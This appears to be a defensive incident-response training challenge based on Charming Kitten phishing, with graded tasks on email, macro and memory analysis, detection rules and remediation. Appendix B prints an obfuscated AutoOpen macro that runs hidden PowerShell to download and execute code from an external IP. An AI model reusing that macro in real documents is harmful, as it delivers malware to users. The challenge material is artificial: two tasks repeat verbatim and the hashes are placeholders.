Table of Contents

Overview
Learning Objectives
Real World Relevance
Prerequisites
Scenario
Task 1 - Analyze the Phishing Email
Task 2 - Investigate the Malicious Attachment
Task 3 - Analyze the Memory Dump
Task 4 - Detect Credential Harvesting Activity
Task 5 - Hunt for Persistence Mechanisms
Task 6 - Write Detection Rules
Task 7 - Build the Incident Timeline
Task 8 - Recommend Remediation
Skills Gained
Tools Used
Author Notes
References

Overview

Based on Real Events

In a nutshell...

- Analyze a phishing email and identify social engineering techniques
- Investigate a malicious Office document and extract embedded payloads
- Examine a memory dump to find credential harvesting activity
- Detect persistence mechanisms left by the attacker
- Write detection rules to catch similar attacks in the future
- Reconstruct the full attack timeline from initial access to data exfiltration

Charming Kitten (also known as APT35, Phosphorus, and Mint Sandstorm) is an Iranian state-sponsored threat group active since at least 2014. They are known for sophisticated social engineering campaigns that target journalists, academics, human rights activists, and government officials. Their operations typically begin with carefully crafted phishing emails that impersonate trusted contacts or organizations, and they have a well-documented history of bypassing multi-factor authentication through real-time credential harvesting.

This challenge is inspired by their publicly reported tactics, techniques, and procedures (TTPs). You will work through the same kind of evidence a real incident responder would encounter, from the initial phishing email all the way to the attacker's persistence mechanisms.

Learning Objectives

- Identify social engineering techniques in phishing emails
- Analyze malicious Office documents and extract embedded payloads
- Perform memory forensics to find credential harvesting activity
- Detect persistence mechanisms left by the attacker
- Write detection rules to catch similar attacks in the future
- Reconstruct the full attack timeline from initial access to data exfiltration

Real World Relevance

Charming Kitten has been active since at least 2014 and is attributed to Iran's Islamic Revolutionary Guard Corps (IRGC). Their campaigns have targeted:

- Journalists and media organizations
- Academics and researchers
- Human rights activists
- Government officials
- Think tanks and NGOs

Their operations typically begin with carefully crafted phishing emails that impersonate trusted contacts or organizations, and they have a well-documented history of bypassing multi-factor authentication through real-time credential harvesting.

Prerequisites

- Basic understanding of Windows internals
- Familiarity with Wireshark and network analysis
- Basic Python scripting knowledge
- Understanding of memory forensics concepts
- Familiarity with YARA rule syntax

Scenario

MFA BYPASS Incident

Incident Report: INC-2026-0042

Date Reported:	2026-03-15
Reported By:	Finance Department
Affected Users:	3
Severity:	High
Status:	Under Investigation
Analyst:	You

Summary of Initial Report

Three employees in the finance department reported receiving emails that appeared to be from a trusted vendor. The emails contained a document that prompted them to enable macros. One employee reported that after opening the document, their computer briefly froze and then returned to normal. Shortly after, they received a notification that their MFA was approved, but they did not initiate any login.

Your Objectives

- Analyze the phishing email and identify social engineering techniques
- Investigate the malicious Office document and extract embedded payloads
- Examine a memory dump to find credential harvesting activity
- Detect persistence mechanisms left by the attacker
- Write detection rules to catch similar attacks in the future
- Reconstruct the full attack timeline from initial access to data exfiltration

Task 1 - Analyze the Phishing Email

Difficulty: Medium | **Points:** 100

Objective

Examine the phishing email and identify the social engineering techniques used by the attacker.

Instructions

1. Open `phishing.eml` in a text editor or email client
2. Examine the sender's display name and actual email address
3. Identify any suspicious URLs or domains
4. Look for urgency or pressure tactics in the email body
5. Check the email headers for anomalies
6. Document your findings

Hints

<details>
<summary>Hint 1</summary>

Look at the `Reply-To` header. Does it match the `From` header?

</details>

<details>
<summary>Hint 2</summary>

Hover over (or copy) the URL in the email body. Does the visible text match the actual destination?

</details>

<details>
<summary>Hint 3</summary>

Use `grep -i "^Received:" phishing.eml` to trace the email's path through mail servers.

</details>

Questions

1. What is the sender's display name?
2. What is the actual sender email address?
3. What is the `Reply-To` address?
4. What domain is the phishing URL pointing to?
5. What social engineering technique is used in the email subject line?
6. How many mail servers did the email pass through?

Submission

Create a file called `task1_answers.txt` with your answers:

```
1: <display name>
2: <actual email>
3: <reply-to address>
4: <phishing domain>
5: <technique>
6: <number>
```

Task 2 - Investigate the Malicious Attachment

Difficulty: Medium | **Points:** 150

Objective

Analyze the malicious Office document and extract the embedded payload.

Instructions

1. Extract the attachment from the email
2. Use `olevba` to analyze the macros
3. Identify the obfuscation technique
4. Decode the payload
5. Find the C2 server address

Hints

<details>
<summary>Hint 1</summary>

Install olevba with `pip install oletools`

</details>

<details>
<summary>Hint 2</summary>

Look for `Chr()` calls and string concatenation in the macro code.

</details>

<details>
<summary>Hint 3</summary>

The payload is base64 encoded. Use `base64 -d` or Python to decode it.

</details>

Questions

1. What is the SHA256 hash of the attachment?
2. What obfuscation technique is used in the macro?
3. What is the C2 server URL?
4. What is the name of the dropped payload?
5. What persistence mechanism does the macro install?

Submission

Create a file called `task2_answers.txt` with your answers:

```
1: <sha256>
2: <technique>
3: <c2 url>
4: <payload name>
5: <persistence>
```

Task 3 - Analyze the Memory Dump

Difficulty: Hard | **Points:** 200

Objective

Examine the memory dump to find evidence of credential harvesting and attacker activity.

Instructions

1. Identify the memory profile
2. Find suspicious processes
3. Look for injected code
4. Extract credentials from memory
5. Find network connections to the C2 server

Hints

<details>
<summary>Hint 1</summary>

Use `vol.py imageinfo -f memory.dmp` to identify the profile.

</details>

<details>
<summary>Hint 2</summary>

Look for processes with unusual parent-child relationships.

</details>

<details>
<summary>Hint 3</summary>

Use `malfind` to find injected code and `hashdump` to extract password hashes.

</details>

Questions

1. What is the memory profile?
2. What suspicious process is running?
3. What is its parent process?
4. What network connections does it have?
5. What credentials were harvested?

Submission

Create a file called `task3_answers.txt` with your answers:

```
1: <profile>
2: <process>
3: <parent>
4: <connections>
5: <credentials>
```

Task 4 - Detect Credential Harvesting Activity

Difficulty: Hard | **Points:** 200

Objective

Write detection rules to identify credential harvesting activity.

Instructions

1. Write a YARA rule to detect the malicious macro
2. Write a Sigma rule to detect suspicious process creation
3. Write a rule to detect the credential harvesting technique
4. Test your rules against the provided samples

Hints

<details>
<summary>Hint 1</summary>

Look for unique strings in the macro code that are unlikely to appear in benign documents.

</details>

<details>
<summary>Hint 2</summary>

Use `process_creation` category in Sigma for process-based detections.

</details>

<details>
<summary>Hint 3</summary>

Test your YARA rules with `yara -r rule.yar samples/`

</details>

Questions

1. Write a YARA rule to detect the malicious macro
2. Write a Sigma rule to detect suspicious process creation
3. Write a rule to detect the credential harvesting technique
4. Test your rules against the provided samples

Submission

Create a file called `task4_answers.txt` with your answers:

```
1: <yara rule>
2: <sigma rule>
3: <technique rule>
4: <test results>
```

Task 5 - Hunt for Persistence Mechanisms

Difficulty: Medium | **Points:** 150

Objective

Find and document all persistence mechanisms left by the attacker.

Instructions

1. Check registry run keys
2. Look for scheduled tasks
3. Examine startup folders
4. Find WMI event subscriptions
5. Check for DLL hijacking

Hints

<details>
<summary>Hint 1</summary>

Use `autoruns` to quickly enumerate persistence mechanisms.

</details>

<details>
<summary>Hint 2</summary>

Look for entries with unusual names or paths.

</details>

<details>
<summary>Hint 3</summary>

Use `schtasks /query /fo LIST /v` to list all scheduled tasks.

</details>

Questions

1. What registry run key was modified?
2. What scheduled task was created?
3. What file was dropped in the startup folder?
4. What WMI event subscription was created?
5. What DLL was hijacked?

Submission

Create a file called `task5_answers.txt` with your answers:

```
1: <registry key>
2: <scheduled task>
3: <startup file>
4: <wmi subscription>
5: <dll hijack>
```

Task 6 - Write Detection Rules

Difficulty: Hard | **Points:** 200

Objective

Write detection rules to identify credential harvesting activity.

Instructions

1. Write a YARA rule to detect the malicious macro
2. Write a Sigma rule to detect suspicious process creation
3. Write a rule to detect the credential harvesting technique
4. Test your rules against the provided samples

Hints

<details>
<summary>Hint 1</summary>

Look for unique strings in the macro code that are unlikely to appear in benign documents.

</details>

<details>
<summary>Hint 2</summary>

Use `process_creation` category in Sigma for process-based detections.

</details>

<details>
<summary>Hint 3</summary>

Test your YARA rules with `yara -r rule.yar samples/`

</details>

Questions

1. Write a YARA rule to detect the malicious macro
2. Write a Sigma rule to detect suspicious process creation
3. Write a rule to detect the credential harvesting technique
4. Test your rules against the provided samples

Submission

Create a file called `task6_answers.txt` with your answers:

```
1: <yara rule>
2: <sigma rule>
3: <technique rule>
4: <test results>
```

Task 7 - Build the Incident Timeline

Difficulty: Medium | **Points:** 150

Objective

Reconstruct the full attack timeline from initial access to data exfiltration.

Instructions

1. Collect timestamps from all evidence sources
2. Normalize timestamps to UTC
3. Build a chronological timeline
4. Identify gaps in the timeline
5. Write an executive summary

Hints

<details>
<summary>Hint 1</summary>

Use `log2timeline` to create a super timeline.

</details>

<details>
<summary>Hint 2</summary>

Look for time skew between different systems.

</details>

<details>
<summary>Hint 3</summary>

Use `psort` to filter and sort the timeline.

</details>

Questions

1. What is the first evidence of attacker activity?
2. What is the last evidence of attacker activity?
3. How long was the attacker in the network?
4. What is the most critical event in the timeline?
5. What is the executive summary?

Submission

Create a file called `task7_answers.txt` with your answers:

```
1: <first evidence>
2: <last evidence>
3: <duration>
4: <critical event>
5: <summary>
```

Task 8 - Recommend Remediation

Difficulty: Medium | **Points:** 150

Objective

Recommend remediation steps to prevent future attacks.

Instructions

1. Identify the root cause of the incident
2. Recommend technical controls
3. Recommend process changes
4. Recommend user training
5. Write an executive summary

Hints

<details>
<summary>Hint 1</summary>

Look for missing controls that would have prevented the attack.

</details>

<details>
<summary>Hint 2</summary>

Use `NIST CSF` as a framework for your recommendations.

</details>

<details>
<summary>Hint 3</summary>

Use `SANS` as a framework for your recommendations.

</details>

Questions

1. What is the root cause of the incident?
2. What technical controls are recommended?
3. What process changes are recommended?
4. What user training is recommended?
5. What is the executive summary?

Submission

Create a file called `task8_answers.txt` with your answers:

```
1: <root cause>
2: <technical controls>
3: <process changes>
4: <user training>
5: <summary>
```

Appendix A: Indicators of Compromise (IOCs)

```
# Network Indicators
185.220.101.47
update-microsoft-cdn.com
sync-onedrive-service.net

# File Indicators
SHA256: a3f2b8c9d1e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0
SHA256: b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5
SHA256: c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

# Host Indicators
C:\Users\Public\Documents\update.exe
C:\Users\Public\Documents\payload.dll
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
```

Type	Value	Description
IP	185.220.101.47	C2 server
Domain	update-microsoft-cdn.com	C2 server
Domain	sync-onedrive-service.net	C2 server
SHA256	a3f2b8c9d1e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0	Malicious document
SHA256	b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5	Dropped payload
SHA256	c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6	Dropped DLL
File Path	C:\Users\Public\Documents\update.exe	Dropped payload
File Path	C:\Users\Public\Documents\payload.dll	Dropped DLL
Registry	HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate	Persistence

> **Note:** These IOCs are for educational purposes only. Do not block these indicators in production environments without proper investigation.

Appendix B: Reference Files

Malicious Macro Sample

```
Sub AutoOpen()
    Dim str As String
    str = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(56) & Chr(53) & Chr(46) & Chr(50) & Chr(50) & Chr(48) & Chr(46) & Chr(49) & Chr(48) & Chr(49) & Chr(46) & Chr(52) & Chr(55)
    Shell "powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('" & str & "')"
End Sub
```

Sigma Rule Template

```
title: Suspicious Process Creation
status: experimental
description: Detects suspicious process creation
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\update.exe'
    condition: selection
level: high
```

YARA Rule Template

```
rule Malicious_Macro {
    strings:
        $a = "AutoOpen"
        $b = "Shell"
        $c = "powershell"
    condition:
        all of them
}
```

Memory Profiling Cheat Sheet

```
vol.py imageinfo -f memory.dmp
vol.py pslist -f memory.dmp
vol.py pstree -f memory.dmp
vol.py malfind -f memory.dmp
vol.py hashdump -f memory.dmp
vol.py netscan -f memory.dmp
```

Appendix C: Skills Gained

Social Engineering

- Identifying phishing emails
- Analyzing email headers
- Recognizing social engineering techniques

Malware Analysis

- Analyzing malicious Office documents
- Extracting and decoding payloads
- Identifying obfuscation techniques

Memory Forensics

- Memory profiling
- Process analysis
- Credential harvesting detection

Detection Engineering

- Writing YARA rules
- Writing Sigma rules
- Testing detection rules

Incident Response

- Timeline reconstruction
- Root cause analysis
- Remediation recommendations

Appendix D: Tools Used

Analysis Tools

- Wireshark
- Volatility
- olevba
- YARA
- Sigma
- Python

Detection Tools

- Sysmon
- Event Viewer
- PowerShell
- Autoruns

Reporting Tools

- Markdown
- Python
- Jupyter Notebook

Other Tools

- Git
- VirtualBox
- Kali Linux
- Windows 10

Ready to Start?
Download the challenge files and begin your investigation.
Download Challenge Files